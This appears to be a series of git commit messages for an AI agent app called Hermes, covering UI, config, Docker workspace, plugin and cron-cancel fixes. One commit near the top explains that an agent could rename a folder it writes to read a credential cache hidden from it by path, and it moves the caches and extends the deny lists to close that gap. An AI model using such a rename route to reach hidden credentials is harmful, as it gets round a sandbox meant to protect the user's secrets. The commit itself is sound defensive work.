the stop and does nothing if the lease changed since, so a takeover made while the screen was stopping
(another viewer, or the same viewer handing back and taking over again) is kept, and an abandoned lease
with no viewer id never turns into a bare release.
The idle check's module docstring and the launcher still said a human holding the screen is never timed
out (the four-window lapse changed that) and that the launcher runs `python -m`; stop()'s docstring said
the re-check always runs under start.lock (a sandbox screen's does not); the pinning note now says it
holds on a store install. Comments only.
The idle stop times out a human lease nobody has used for four windows, judged by the screen's activity
stamp. A takeover did not stamp it; only the viewer's first RFB frame did. A takeover landing on a long-idle
screen while an idle check waited on start.lock was therefore read as an already abandoned lease: the
screen was stopped under the human who had just taken it, and their lease handed back to the agent.
display.lease.acquire now stamps activity before it writes the lease, as the idle section's comment already
said a takeover does: the new lease is visible to the screen's own idle check (and to this process's
listeners) from the moment it is written.
fix(env): load an unreadable profile .env as absent, with a warning
fix(terminal): per-turn terminal scope applies managed scope last
The Bitwarden and 1Password disk caches (bws_cache.json, bws_cache.enc.json,
op_cache.json) and the Photon sidecar runtime record (photon-sidecar.json) now
live directly in the profile home instead of cache/ and runtime/. A sandbox
that hides credential files by path can only hide them safely at the top of
the home: the agent can rename a folder it writes, such as cache/ or runtime/,
and read a hidden file below it at the new path.

The first read moves a copy from the old path with a rename, so the file keeps
its permissions. When both copies exist, Hermes removes the old one; when the
move fails, Hermes keeps reading and writing the old copy, so only one copy is
ever live. Clearing a cache or deleting the record removes both locations.

SECRET_CACHE_STORES in hermes_cli/home_data_layout.py lists these stores at
both locations, and every guard that keeps a list of credential stores uses
it: PROFILE_CREDENTIAL_PATHS (profile export and distribution), the file
tools' read and write denies, and the gateway's media-delivery deny. The
1Password cache was missing from all of them. The dashboard Files API blocks
the new basenames, backups leave the top-level stores out, and the flat-install
.gitignore ignores them.

A new test takes each store's path from its writer and checks that every guard
covers it at the current and the old location.
A Discord button view keeps running its timeout after a click resolves it.
_HermesView.on_timeout and ModelPickerView.on_timeout did not check
`resolved`, so the timeout overwrote the "Approved/Denied by ..." footer
(or the switched-model embed) with "expired" on a prompt that was already
answered. ChoicePickerView already had this guard; this applies it to the
base view (slash-confirm, update, clarify) and the model picker.

Move _resolve_exec_approval_admin_gate into adapter_config_readers.py
(re-exported from adapter.py) to offset the facade's line growth.

[Salvage, rebased onto main: since #145948 slash-confirm, update and clarify
stop() when answered, and the exec card has its own on_timeout (retire,
guarded by _backend_settled), so its test case is dropped. The base guard
still covers a timeout discord.py dispatched in the same tick a click
landed: stop() cannot cancel an on_timeout task that is already queued.]
A switch or cancel in the Discord /model picker set `resolved` but never
called `stop()`. discord.py kept the view registered and its 120 s timeout
running, and when that timeout fired it replaced the "Model Switched" or
"cancelled" card with "Selection expired — no model change" (#143851).
Since #145948 the other prompt views stop when answered, and
ChoicePickerView already did.

`_switch_selected_model` and `_on_cancel` now call `self.stop()` as soon
as they set `resolved`, before any await. A slow switch therefore can't
run into the timeout, and the view leaves discord.py's store at once.
The `on_timeout` guards from the previous commit still handle a timeout
discord.py had already queued when the click landed (stop() can't cancel
that task); both now carry a comment saying so.

Test: the two picker answers join `test_answered_view_is_released`, which
asserts the view is finished.

Fix proposed in #143851 by @jimstratus; the same guard was first
submitted in #69685 by @tuancookiez-hub.

Co-authored-by: Jim Stratus <116782964+jimstratus@users.noreply.github.com>
A category directory's children are plugins. One checkout next to other
directories made plugins doctor resolve that parent and copytree it.
Follow-up to the cherry-picked fix from #146591. That fix stops Doctor
resolving a home that holds one plugin checkout beside other directories,
but a resolved category was still copied wholesale:

- A folder holding one plugin plus loose files (a Downloads folder with
  disk images) still resolved, and the whole folder was copied into the
  temporary HERMES_HOME. Doctor then reported OK.
- A category of several plugins was copied in full and only then failed
  with "Expected one plugin manifest".

Doctor now copies only the category's single plugin directory, under the
category name so discovery still keys it category/plugin, and refuses a
category of several plugins before copying anything. A model-provider
plugin inside a category (the plugins/model-providers/NAME layout) is now
loaded from its own directory; the provider loader used to get the
category directory and reported that no ProviderProfile registered.

The category check also skips the foreign-harness manifest dirs that
discovery skips (_FOREIGN_HARNESS_MANIFEST_DIRS), through a new
plugins_discovery.is_skipped_plugin_dir() that scan_directory uses too
(its two debug lines for skipped dirs become one).
The staging copy and the category check share one skipped-dir list.

A directory refused because plugins sit beside other directories (a repo
root with myplugin/ next to tests/) now names those plugins in the error,
leaving out dirs that discovery would skip.
The inline error card on a failed turn is rebuilt to the Error System
Overhaul design (Figma "Error handling" frame + Nous DS buttons / Copy):

- Severity: blocking (user can't keep chatting until they act; rust tint
  and icon) vs degraded (chat still works; white card, grey icon, close X).
  errorCardSeverity() derives it from the card's main action.
- One main action and at most one second option per failure
  (errorCardActions / CODE_ACTIONS), rendered as Nous DS secondary + ghost
  buttons. New actions: Continue (truncated), Open provider settings
  (privacy block), setup guides for TLS / local servers, Open model
  settings (agent init). Plan usage limits keep switch-to-model / credits.
- "View error details" toggle reveals the raw error in a DS Copy-style
  slab with a copy glyph, with Copy details / Open logs / Send diagnostics
  right below it.
- Copy rewritten: titles of at most 5 words that name the provider or
  model, one-to-two-sentence bodies that say the fix. Translated into all
  8 desktop locales.
- One event, one surface: no error toast for the session on screen (the
  card says it); out of credits is the composer banner, and the card only
  speaks when that banner isn't up for the chat. Background sessions keep
  their toasts.
Follow-up to the error card v2 (#146776), addressing the Greptile review:

- Continue sends: the cut-off-reply action now submits "continue" through
  this chat's composer (requestComposerSubmit); when no composer can take a
  submit it leaves the word in the input. aui.thread().append() was a no-op
  under ChatRuntimeBoundary.
- Out of credits always gets the card. The card can't know whether the
  banner is on screen (collapsed drawer, popped-out composer aimed at another
  chat), so it no longer defers to it; the drawer-reveal hook is gone.
- One recovery policy: ErrorRecoveryPlan / CODE_PLANS / errorRecoveryPlan
  are removed. errorCardActions is the single policy, with
  errorCardShowsDiagnostics and errorCardOffers for callers and tests.
- A bare gateway error (no recovered code) still toasts on screen: its card
  copy is generic and the server sentence is often the fix.
- Plan limit with a passed reset: plain Retry instead of nothing.
- Free-tier refusal that is retryable: Sign in + Retry.
- Truncated copy is cause-neutral ("stopped before finishing, so its last
  step didn't run") in all locales.
- Narrow panes: the action row wraps, so the details toggle drops under the
  actions instead of being clipped.
- Shared primitives: the raw-error copy glyph is CopyButton (failure state,
  haptics); the close X is the icon set's XIcon (close.svg removed); the card
  palette uses theme tokens (text, stroke, card, destructive), so the dark
  override block is gone and custom skins follow.
The original test file drove the full MoA completion loop for six iterations
across four preset names to check a config-key notice. The loop also resolved
the advisor's context length through a live GET to openrouter.ai, which the
conftest network fence (Nous hosts only) does not block.

Keep what the fix changes, beside the other runtime-key owners in
test_config_runtime_keys.py (its isolated-home fixture and helpers): set and
get of fanout / reference_timeout on default, custom, escaped-dot and spaced
preset names print no notice and resolve to the written value; field typos
and extra segments still notice. Those cases skip the plugin scan they would
otherwise fall through to.

Of the loop's assertions, cadence is already covered by
tests/agent/test_moa_fanout_cadence.py; a preset's reference_timeout reaching
each advisor call_llm request was not, so add that one there, with the
context-length lookup stubbed.
The preset check accepted any name whose strip() was non-empty, so
`config set "moa.presets. review .fanout" every_n:5` became silent. That write
stores the key " review "; normalize_moa_config strips names, and the later
entry replaces the user's whole `review` preset (its models fall back to the
defaults, reference_timeout is lost). main warned on that write; the fix had
removed the only signal. Accept a name only when it is stored as written.

The rule now lives in moa_config.is_preset_field_path next to the field list
and skip_deep_merge, the other "moa.presets is a named map" rule, so
config_runtime_keys no longer imports the private _FLAT_PRESET_KEYS or
hardcodes the moa/presets literals and segment count.

is_runtime_read_key now takes the split segments; its only caller
(_validate_config_key) already splits the key. The MoA rule reads the
segments directly, the other owners match the dotted join exactly as before,
and the function no longer imports _split_key_path back from config.py or
rebinds its argument. Its docstring again lists the owners and says to call
it only for a key the schema walk refused; _validate_config_key's docstring
now says it takes CLI syntax.

Tests: the whitespace-padded name and the bare `moa.presets.<name>` path keep
the notice.
`moa.presets.<name>.aggregator.{provider,model,reasoning_effort}` are read by
_clean_slot, and reasoning_effort is the documented per-slot effort knob
(config_defaults.py, auxiliary.moa_* comment). They still printed the
unknown-key notice: always for reasoning_effort, and for provider/model on
any preset other than `default` (the only one the schema walk knows), so the
same field got a different verdict depending on the preset name.

Accept those three sub-fields in is_preset_field_path. As with `default`
today, a slot left without provider or model is dropped by the normalizer and
the default aggregator applies. The `fanout` mapping keys keep the notice on
purpose: `n` only takes effect beside `mode: every_n` (either one alone
normalizes to user_turn), and `fanout every_n:N` sets the cadence in one
write. A test in test_moa_config.py pins the accepted slot fields to the keys
_clean_slot keeps.
With persistent Docker and host-workspace mounting disabled, a Desktop
session could select `default:ws:<digest>` while CLI kept using
`default`. The two sessions then saw different persistent workspace
directories, despite belonging to the same profile.

`_workspace_container_key` now checks the scope-aware mounting flag
before deriving a workspace key. Unmounted sessions retain their original
profile sandbox; host-mounted sessions retain separate containers for
different workspaces.

Desktop cwd registration also keeps the host workspace out of an
unmounted Docker execution cwd, using the owning profile's terminal
policy: after selecting the original container, Desktop still passed its
host path to `cd` inside that container. The configured container cwd
and later in-container `cd` remain authoritative. This fixes selection
and execution without moving, copying, or deleting existing sandbox data.
The file panel's sandbox lookup mirrors the container key. With the cwd
mount off, a session now runs in the profile's container, but
_docker_sandbox_dir_candidates still put <base>:ws:<digest> first. That
made the profile sandbox look like a fallback: every Save of a /workspace
file returned 409 "File is no longer in this session's workspace", and a
*_ws_* dir left by an older build was previewed instead of the live file.

Offer the per-workspace candidate only with the cwd mount on, as the key
resolver does. The per-workspace read/save tests now turn the mount on;
a new test pins the mount-off read and Save to the profile sandbox.
_register_session_cwd built the whole terminal config (_get_env_config)
to read two values, inside a blanket contextlib.suppress. An unrelated
setting it parses on every backend (TERMINAL_TIMEOUT=5m, a malformed
docker JSON value) raised there and silently dropped the cwd
registration, which the base always made. Bridge the config as before,
then read TERMINAL_ENV and the mount flag scope-aware, as the container
key resolver does.
With the cwd mount off, a Desktop session now registers an empty cwd
(cwd_source "process") so its host folder never becomes the container's
working directory. project_tools reads that same override as "the chat's
workspace", so project_list reported active_id None instead of the
folder's project, and did not fall back to the profile pointer either.

Keep the session's folder in the override as host_workspace (only when
it was the session's own) and let project_tools read it. The terminal
and file layers read only cwd, so their behaviour is unchanged.
The mount gate in _workspace_container_key ran before the short-circuit
that maps an already-resolved <base>:ws:<digest> key to itself, which
the docstring promises (ensure_task_env re-resolves the key it got).
Check the gate after it. Its comment named ACP, whose cwd override
carries no cwd_source and never produced a :ws: key; say what it guards.

The gate had no test of its own: both writers of cwd_source "session"
are already gated, so reverting it left every test green. Pin it with a
registered session workspace under an unmounted persistent policy.
Desktop sessions with mounting off used a *_ws_* sandbox per folder
since d8835ab3a8; they now share the profile sandbox. Tell users the old
directories are kept but unused, and where to find them.
Registering a session for another profile installs that profile's
terminal scope. When its .env or config.yaml can't be read, the scope
refuses and every TERMINAL_* read raises; the blanket suppress then
skipped the whole registration, which main still made. The profile's
terminal refuses each call anyway, but project tools lost the session's
folder. Treat a refused policy as "not unmounted Docker" and register.
The blanked override always carried host_workspace, as "" when the cwd
was a process fallback rather than the session's folder. Write the key
only when there is one, and document it on register_task_env_overrides
as host-side state the terminal never reads.
Second follow-up to the error card v2 (#146776, #146803), addressing the
Greptile review of #146803:

- External composer submits (the card's Continue, the review pane's ship
  button, SDK host.composer submits) now send with an explicit empty
  attachment list, so they never pick up the files of the user's unsent
  draft. A rejected visible request is queued (sendable, editable) instead of
  being restored over the user's draft text and files. Hidden requests keep
  their drop-on-rejection behaviour.
- Out of credits: the card's "Open billing settings" runs the same recovery
  as the banner and toast (runBillingRecovery: the failing provider's own
  billing page; Nous -> Settings -> Billing). Without this chat's billing
  descriptor a third-party provider's card shows no billing button rather
  than opening Nous billing; Switch provider stays.
- Plan limit reset: a plain Retry only once the reset has actually passed.
  A reset too far off for a browser timer (a monthly window) offers no Retry
  instead of one that would hit the same refusal.
- Truncated copy says only that the reply stopped before finishing, in all
  7 translated locales.
Greptile review of #146828:
- A rejected external request is queued under its own submission id, so
  an uncertain delivery the owner already holds is deduped, not run twice.
- It is queued in the scope the send ended up in (a new chat's
  session.create re-homes it), not the stale fresh-draft key.
- The card's billing button uses this chat's wall only when it is for the
  provider the card failed on; a later wall from another provider in the
  same chat no longer retargets an older card.
- Busy-path .catch(enqueue) no longer passes the error as the queue key.
When TMPDIR sits inside the plugin being checked (directly, through a
symlink, or inside the one member of a category), Doctor's staging copy
wrote into a descendant of its own source and walked its own output
until ENAMETOOLONG or a full disk. The home-directory fix (#146761) only
stopped Doctor from picking the wrong folder; a valid plugin could still
contain the temp dir.

Both staging branches now go through _stage_copy, which resolves source
and destination (so symlink aliases cannot hide the overlap) and refuses
a destination inside the source before copytree runs.

Containment guard from #146617.

Co-authored-by: gyeyeop <226306458+gyeyeop@users.noreply.github.com>
The root containment check missed a symlink (or Windows junction) inside
the plugin pointing at TMPDIR: copytree follows directory links, so the
copy still walked into hermes-plugin-doctor-*/plugins/<name> and read its
own output. Every directory entry is now resolved during the copy and
refused when it overlaps the staging destination; links elsewhere still
stage as before.
The media stream route applied the 100 MiB whole-file cap that guards the
base64 read and attachment download, so a long recording (a 103 MiB, 2:15
1080p clip) answered 413: the player stayed black and showed "Open video
file". A player source is served from disk one Range at a time (an SSH
profile's clip already streams uncapped), so the stream route and the
legacy download route's player requests drop the cap. /api/files/read keeps it.
A reconnect dropped every stored->runtime binding, including the canonical
gateway's, whose runtime id IS the durable session id. The next send then
saw an unconfirmed binding and ran a full session.resume, which unbinds
the view while it waits: the status stack (subagents, background tasks)
vanished until the resume answered, seconds on a slow link. A binding
whose runtime id is the durable id cannot be re-minted or recycled into
another chat and the client re-attaches it on its next request, so the
map and the tile reset keep it.
Every mount of a transcript video/audio minted a new stream ticket, so
each remount (a finished turn re-rendering its markdown, a reconnect)
fetched the clip again under a new URL, and the remembered playback
position (keyed by URL) missed. Resolved stream URLs are kept for 20
minutes (tickets live an hour); a URL that fails is forgotten and
re-resolved as before. Only URL strings are kept, never bytes.
A reused stream URL can carry a ticket that died with a gateway restart;
audio (preload=metadata) treated its first error as final, so the player
stayed broken. A reused URL now gets one fresh URL on its first error
(a second failure is still final), and its entry is forgotten. The URL
cache is an LruCache (128 entries) instead of an unbounded Map.
Every focus, visibility, online and wake event makes Desktop probe its
open gateway socket with a 5 s `ping` and close it when the probe goes
unanswered (immediately when no turn is running). The backend answers
`ping` only after every control RPC queued ahead of it on the same
connection, so any control RPC slower than 5 s (manual compression, a
large resume, a slash command, a slow remote/cloud host) turned the next
alt-tab into a dropped connection and a full reconnect + resume.

Desktop now probes with `gateway.ping`, which the backend's socket
reader answers itself (every backend since #108325). A backend older
than the heartbeat answers -32601, which every probe site already treats
as alive. `ping` stays an ordinary serial RPC on the backend: tests use
it to observe that lane's ordering.

Live repro on the canonical gateway with a quick command `sleep 8`
running: `gateway.ping` answered in 0.00 s, `ping` in 7.52 s.

Fixes #145737
A hidden window's intensive throttling makes every heartbeat tick land
60 s apart, so every tick reads as "late" and the grace probe added a
third throttled tick before a dead hidden socket dropped, breaking the
#133043 contract (drop once a ping goes unanswered across two throttled
ticks). Grant the extra probe only when the late tick follows an
on-time one, which is the renderer stall #142738 describes.
Every remount of a transcript image read the whole file again through
/api/fs/read-data-url, so over a slow link the image blanked while its
bytes crossed the wire again. The response now carries an ETag (path,
inode, size, mtime) with Cache-Control private, no-cache: the browser
keeps the body in its own HTTP cache and revalidates on each read, so an
unchanged file costs a 304 and a rewritten one is fetched fresh. The 304
is answered after every access check and before the file is read.

Also drops the same 100 MiB cap from the SSH-profile stream route,
which #146850 lifted only for host files.
pause only suppresses future fires, so a wedged run had no operator
 recourse: wait out HERMES_CRON_TIMEOUT, or hunt the process group by hand.

The kill path already exists — _run_job_script polls a cancel_event and
tears down the whole tree via kill_process_tree, and an agent run
interrupts at the same seam. What is missing is a signal an operator can
reach, and it cannot be an in-memory Event: run_one_job hands the attempt
to a detached external worker before anything executes in-process.

So the request is a marker file per execution id, joined to the existing
_FireOwnership cancel seam as a third source. Keyed by execution id, only
the run it was written for can read it, so a leftover marker cannot bleed
into the job's next fire. Resolving the live attempt through
live_inflight_execution() keeps a dead owner's stale row a clean no-op
instead of a marker nobody would ever read.

An operator cancel is deliberately not folded into transport_cancel:
only a transport cancel counts as claim loss for bookkeeping, while a
cancel is a real outcome the run records itself — which also fixes the
"explicit stop requested"-style wording, since the recorded reason now
comes from whichever source actually fired.
request_cancel's docstring promised "the marker holds the first reason",
but the write went through os.replace unconditionally, so a later request
for the same execution overwrote the reason the run had already read into
its report. Guard the write on the marker's absence.

The sweep for markers orphaned by a SIGKILLed run still rides along with
every request, including the idempotent ones.
Stopping a live run:
- Removing a job while it runs now cancels that run (cancel marker on its execution)
  instead of letting it burn tokens until a lost fire claim discards the result (#123045).
- An operator-cancelled run (hermes cron cancel, the new POST
  /api/cron/jobs/{id}/cancel, cronjob action=cancel, remove) records a terminal
  'cancelled' ledger row with its reason; the job's last_status is 'cancelled', with no
  failure alert and no failure-streak bump. The cancel check runs before claim-loss
  handling, so a removed job books the cancel, not "fire claim ownership lost".

Missed runs:
- New optional per-job `catch_up` (true = one catch-up run, false = skip). Unset,
  recurring jobs keep following cron.catch_up_missed and one-shots keep the 120s grace
  rule (#93526); a one-shot that opts in fires once late.
- Every skipped or collapsed slot is booked as ONE 'missed xN' ledger row, shown by
  `hermes cron runs` and the dashboard/Desktop run history.
- The execution ledger's status CHECK is widened in place (one-time table rebuild under
  BEGIN IMMEDIATE) to admit 'cancelled' and 'missed'.

The fast-forward and one-shot retire gates move from cron/jobs.py into
cron/missed_runs.py; the cancel-event types move next to the marker in
cron/cancellation.py, keeping both facades at or under their size baseline.

Prior art: #44617 (@LeonSGP43) first proposed stopping in-flight runs on pause/shutdown;
its in-process agent registry no longer applies now that runs execute in the
restart-safe worker, so the cancel rides #133169's per-execution marker instead.
name.

Co-authored-by: LeonSGP43 <LeonSGP43@users.noreply.github.com>
Co-authored-by: fangliquanflq <fangliquanflq@users.noreply.github.com>
A Run-now refused while a run is live books its own newer `failed · Fire claim was not acquired`
row. The cancel lookup read only the newest row, so `hermes cron cancel` answered "nothing in
flight" for a job that was still running. `cancellable_execution` takes the newest claimed/running
row under a live owner instead.

Agent runs execute in the gateway's session authority, which got the forwarded cancel as a bare
event and logged "was stopped: cron fire ownership was lost". It now reads the execution's cancel
marker first, so the owner reports the operator's reason. The REST endpoint records
"cancelled on request (Stop)" so the run row names the surface that asked.
A job whose newest ledger attempt is claimed/running shows Stop in its header. A click calls
POST /api/cron/jobs/{id}/cancel and holds "Stopping…" while the view polls the job list until that
attempt is terminal, then toasts "Run cancelled" (or that the run finished first / nothing was in
flight). A cron.changed refresh makes a run started elsewhere show its Stop too, and while this
window's own Run-now is waiting the run counts as live until an attempt claimed since the click has
finished, so the button never flickers back.

The editor gains "Missed runs" (use the default / run once when back / skip them), sent only when
the user changed it; the dashboard create endpoint now accepts catch_up as update already did.
Strings live in types_cron_control.ts plus one <lang>_cron_control.ts per locale.
Review round on cron cancel / missed-run policy:

- Receipt recovery, the external-worker waiter and finish_completed_run
  read only completed/failed as "the firer booked this attempt". A
  cancelled agent run was replayed (job marked failed, repeat spent,
  failure notice sent) and a cancelled detached worker was reported as a
  worker that died without terminalizing. One FIRER_FINISHED_STATES set
  now drives all four readers.
- live_inflight_execution skips the due scan's `missed` rows, so a
  missed note booked while a long run is live no longer hides that run
  from the dashboard.
- Stopping a ladder re-run passes ladder_rung, like every other terminal
  path, so it does not spend a second repeat slot.
- A run whose claim vanished because the job was removed (marker
  written, claim dropped) books `cancelled` with the reason at the
  first claim check and on the post-run claim-loss path, not
  "Fire claim ownership lost".
- request_cancel publishes a private temp file with link(), so
  overlapping requests never share a temp path or overwrite the first
  reason.
- Monitoring: cron_health knows `cancelled`/`missed` as terminal
  statuses, and the shared cron-run metric reports `cancelled` instead
  of `failed`.
- Dashboard history: a cancelled agent run's session row carries
  "CANCELLED · <reason>".
- A capped missed count keeps its "counting stopped at 1000" note after
  the catch-up branch books one fewer than it counted.
The cancel marker was published only with os.link(), so on exFAT or a share
without hard links every Stop raised, and removing a running job raised after
its removal was saved, skipping output and notepad cleanup. Fall back to an
exclusive create; the first request's reason still wins.
The contract gained "cancelled" for operator-stopped runs but the hand-kept
package schema still listed four outcomes, so a package carrying a stopped run
failed validation against it.
A Run-now refused while a run is live books a newer failed row, and the job
list only carried that newest row, so the Stop button vanished while the run
kept going. The list now also carries live_execution (the newest
claimed/running attempt under a live owner, one batched query shared with
cancellable_execution); Desktop offers Stop off it and settles a Stop whose
target is hidden behind a newer row as cancelled.
- A paused job whose run is still going showed "Pause" while the click
  resumed it; the label now follows the saved schedule state, the pill the run.
- The 1.5 s live-run poll could start a refresh before the last one returned,
  and each request supersedes the one before it, so on a slow backend no list
  ever landed and Stop stayed on "Stopping...". Poll one request at a time.
- A connection switch wipes the job list, which settle read as the job being
  gone and announced "Run cancelled". A pending Stop is bound to its
  connection+profile, settles only from a list fetched in that scope, and is
  dropped silently once the scope changes.
main added per-job grace_minutes while this branch moved the missed-run gate into
cron/missed_runs.py; the rebase folds the grace rule into job_catches_up (job catch_up wins,
then explicit grace_minutes, then cron.catch_up_missed). Red when the grace rule is dropped.
`hermes cron run` waits for the run; when `hermes cron cancel` (or a Desktop Stop) ends it,
the ledger books `cancelled` but the CLI printed "Ran now: failed." and exited 1.
- Desktop: stopOutcome checked "is any run live" before the targeted execution id, so a run
  started right after a stopped one kept the old Stop pending and the button disabled for the
  whole new run. Settle by the targeted attempt first.
- missed_runs.count_missed_slots walked the schedule in the profile zone, so a zone-pinned job
  booked phantom occurrences (missed x3 instead of x2). Pass the job pin like every other
  compute_next_run caller.
- catch_up is an authored field: add it to JOB_DEFINITION_FIELDS so a profile distribution
  import/update carries the job missed-run policy.
When the OAuth provider list fails to load (or comes back empty) on first
run, the onboarding picker drops straight onto the API-key form with no
"Back to sign in" link, so Nous Portal is nowhere on screen. A fresh
Windows install reported exactly this. The same form opened via "I have an
API key" also hid Nous.

The key form now carries the full-width Nous Portal row on top, using the
real provider row when the list loaded and a stand-in otherwise (starting
sign-in only needs the id). The custom-endpoint form stays as it was.

A provider list still loading no longer flashes the key form either; it
shows "Looking up providers" until the list resolves or fails.
The toast is transient, so a missed one left no trace once Hermes was
minimized or behind other windows. Request window attention (Windows
taskbar flash, macOS dock bounce, Linux urgency hint) from the
notification IPC and clear it when the window regains focus.

Refs #55179, #50718
The Webapp marked a blocked or finished session only with a mark in the tab
title, and its notify bridge asked for notification permission from inside
the event (no user gesture, so browsers silently refuse) and ignored clicks.

- While the tab is hidden or unfocused, every event that passes the existing
  native-notification gate (Settings > Notifications, per kind) alternates the
  tab title with the notification's title and badges the favicon until the
  user returns to the tab.
- The bridge shows a browser Notification only when permission is granted;
  permission is asked from a click (new Settings row, or Send test), never on
  load. Over plain HTTP (no secure context) the row says so and the title
  flash carries the signal alone.
- Clicking a browser notification focuses the tab and opens the session
  through the existing onFocusSession path Desktop's OS notifications use.
The row held its own permission snapshot while the test button asked
separately, so an answer given there left the old text and Allow button
until Settings was reopened. One store now owns the permission; both
actions update it and the row reads it.
The canonical owner asks the clarify tool's question set as ONE `clarify`
request only for a turn whose prompt.submit declared `clarify_batch`
(gateway/session_cli_turn.py); otherwise it asks one card per question,
each shown only after the previous was answered. The Ink TUI declares it
(163a633265); Desktop and the Webapp never did, so their batch form only
ever received one question at a time.

The backend now advertises `canonical_clarify_batch` in its
`client.capabilities` answer (the frame every renderer already sends on
gateway.ready), and the Desktop's canonical client adds `clarify_batch:
true` to prompt.submit only where it was advertised: an older owner's
closed submit params refuse the unknown key, and the legacy sidecar is
never sent it. The existing batch card then shows every question at once
and answers through the existing `clarify.lock` verb, one submit.

Keyboard: plain Enter on an answered earlier question now moves to the
next open question instead of sending the set half answered; it submits
from the last question or once nothing is open (Cmd/Ctrl+Enter still
submits from anywhere).
Enter on the last question submitted with earlier questions still open
(q0=null, q1=null, q2='later'). Plain Enter now submits only when nothing is
left open, from any question; otherwise it moves to the first open question.
Cmd/Ctrl+Enter still submits from anywhere.
Zero picks is a valid answer for a multi-select, but it counted as open:
plain Enter jumped onto its first row, where Enter only toggles a choice, so
mashing Enter flipped that choice on and off forever and sent nothing. A
multi-select now never counts as open, both for Enter's submit-or-move-on and
for the auto-advance after a pick, so Enter from any question sends the set
within a few presses. Enter on a multi-select row still toggles it.
The Webapp's Alt defaults off macOS (Alt+N/T/W, Alt+Shift+N/T/W,
Alt+] / [) exist because a browser TAB acts on the native Ctrl chords
before the page sees the keydown (5ba3243fc4). A Chrome app window
(Install / "Open as window", --app=) reserves none of them:
BrowserCommandController::IsReservedCommandOrKey returns false for
TYPE_APP windows. There the Webapp now ships the same Ctrl chords
native Desktop does (Ctrl+N/T/W, Ctrl+Shift+N/T/W, Ctrl+Tab /
Ctrl+PageDown and the Shift/PageUp pair).

Live, headed Chrome on Xvfb with OS-level (XTEST) input: in a tab every
Ctrl form still never reaches the page (Chrome opens/closes tabs), so
tab defaults stay Alt; in an app window (display-mode: standalone) main
let Ctrl+N/T/Shift+N/Shift+T through to Chrome (new window) and Ctrl+W
closed the window, head runs the Hermes action for all ten chords.

macOS keeps the ⌃⌘ browser defaults in both window kinds; native
Desktop defaults are unchanged. Hints, tooltips and the shortcuts panel
format the resolved binding, so no copy changes.
Review round 1 on the app-window Ctrl defaults:

- The display mode was read once at load. "Open in Chrome" moves an app
  window into a tab without a reload, leaving Ctrl hints Chrome now takes
  and no Alt chords. The Windows/Linux browser rows now resolve their
  defaults on every read, and the bindings store listens to the
  standalone / minimal-ui / window-controls-overlay media queries and
  moves every binding still on its old shipped default onto the new one;
  a user's own rebind (or cleared binding) stays.
- Only Chromium leaves those chords to an app window. Firefox taskbar web
  apps can report standalone while still reserving Ctrl+W/T/N/Tab, so the
  check is gated on userAgentData brands containing Chromium, falling back
  to the UA string where userAgentData is absent (insecure origins).
Node-environment test files import the keybind store, which now starts the
watcher at module load; window was undefined there.
The display-mode rebase told a rebind from a default by value, so a rebind
equal to the other window kind's default (Alt+W in an app window) was dropped
on the first flip and became Ctrl+W on the next, also after reload. The store
now tracks the ids the user set (every stored entry, for older saves) and
persists those even while they equal the current default.

A default move onto a chord the user gave another action (Alt+N on Focus
search) is skipped and the action keeps its combo as a saved one, so the
user's binding is not silently shadowed and a reload keeps it that way.
Canonical comparison made every profile.switch.N row warn against
session.slot.N at factory defaults off macOS. Aliased chords now count as a
conflict only when a user binding or a proposed combo is involved.
With the main model on the managed llama.cpp runtime and its server down
(Desktop closed and took it along, still loading, or switched off),
setup.runtime_check answered ok:false while setup.status said a provider
is configured. The onboarding gate wrote that down as "not configured" and
opened the provider sign-in overlay, and a send got an "Update API key"
card: the resolution failure was stamped auth_permanent.

The resolver now raises a typed LocalRuntimeUnavailableError. Both
setup.runtime_check backends answer it with error_code
local_runtime_unavailable, the onboarding gate keeps the app open and
shows a "Local model unavailable" notice with Open Local models, and the
turn failure carries reason local_runtime_unavailable on the endpoint
layer, so the card says the model server is unreachable and offers
Switch provider.
Also splits errorCardActions / interpretRuntimeReadiness helpers to stay
under the complexity cap.
The Local models pane is Electron-only, so in the Webapp the notice no
longer points at it: it says to start the server from the desktop app and
offers Choose another model.
The onboarding exemption leaves no onboarding round to clear it on recovery, so the
readiness tracker does: a ready verdict dismisses it, and while the verdict is
'local server down' the 60s tick keeps re-checking (a starting server announces nothing).
The turn-failure tables had no entry for local_runtime_unavailable, so the TUI and
dashboard fell back to 'Your custom model endpoint did not answer'. The resolver's
sentence (the messaging reply and every client's raw detail) pointed at Settings →
Providers → Local models, a pane only Desktop has; it now names /model instead.
local_runtime_unavailable gets its own card copy in every locale instead of the
'custom model server' endpoint body. The card is shared with the Webapp, so it names
no pane; the Desktop notice keeps Settings → Providers → Local models beside its button.
The backend sentence, the TUI/dashboard hint and the Desktop/Webapp card name the Hermes desktop
app and `hermes model` -> Local models instead of the Desktop app alone; the card says Retry only
while the server can still come up (retryable), and the Python hint keys its no-retry wording on
the surface's code and retryable flag rather than rewriting the text. The localRuntimeUnavailable
TUI keys are translated into every bundled locales/*.tui.yaml pack.
hermes_cli.config filled OPTIONAL_ENV_VARS from provider profiles at import,
and hermes_cli.auth mirrored plugin providers into PROVIDER_REGISTRY at
import. Both list providers, and provider discovery reads config
(plugins.enabled, plugins.isolation). An import-time config read is the
launch profile's config in a process that serves several profiles, and it
deadlocks a config backend whose own load imports hermes_cli.auth (the
remote backend's Nous credential).

Both now run on first read: OPTIONAL_ENV_VARS is a dict that runs one
armed fill before it is first read (CORE_DECLARED_ENV_NAMES follows it via
module __getattr__), and PROVIDER_REGISTRY syncs before its first read.
Contents and precedence are unchanged: core entries win, a provider entry
replaces a platform manifest's, the first provider to declare a name wins.
A fill that fails with ConfigBackendUnavailable propagates and re-arms.
The profile's boot fetch resolved its bearer while holding the per-profile
fetch lock. Resolving the Nous token can import hermes_cli.auth, so the
lock was held across a module import (and its import lock).

- Each boot attempt resolves the bearer holding no backend lock, then
  takes the fetch lock only for the GET; waiters share its result.
- Messages produced under the fetch lock or a profile's state lock are
  collected and logged after release: a log handler can read config.
- A same-thread re-entry into a profile's own load raises
  ConfigBackendUnavailable at once instead of waiting on itself.
The harness relied on importing hermes_cli.config reading config, which
ran ensure_hermes_home (chmod 0700, memoised) before the test made the
home read-only. Importing config no longer reads it, so the first read
happened inside the update tail and re-secured the home, letting the
config write the test expects to fail succeed. Secure it explicitly first,
as a real process has by then.
The first read of OPTIONAL_ENV_VARS ran provider discovery (a config read)
under the table's fill lock. The fill now returns its entries and runs
holding no lock; the first finisher publishes them under a lock held only
for the dict update. Reads the fill makes itself see the table without
them; a fill that raises publishes nothing and stays armed.
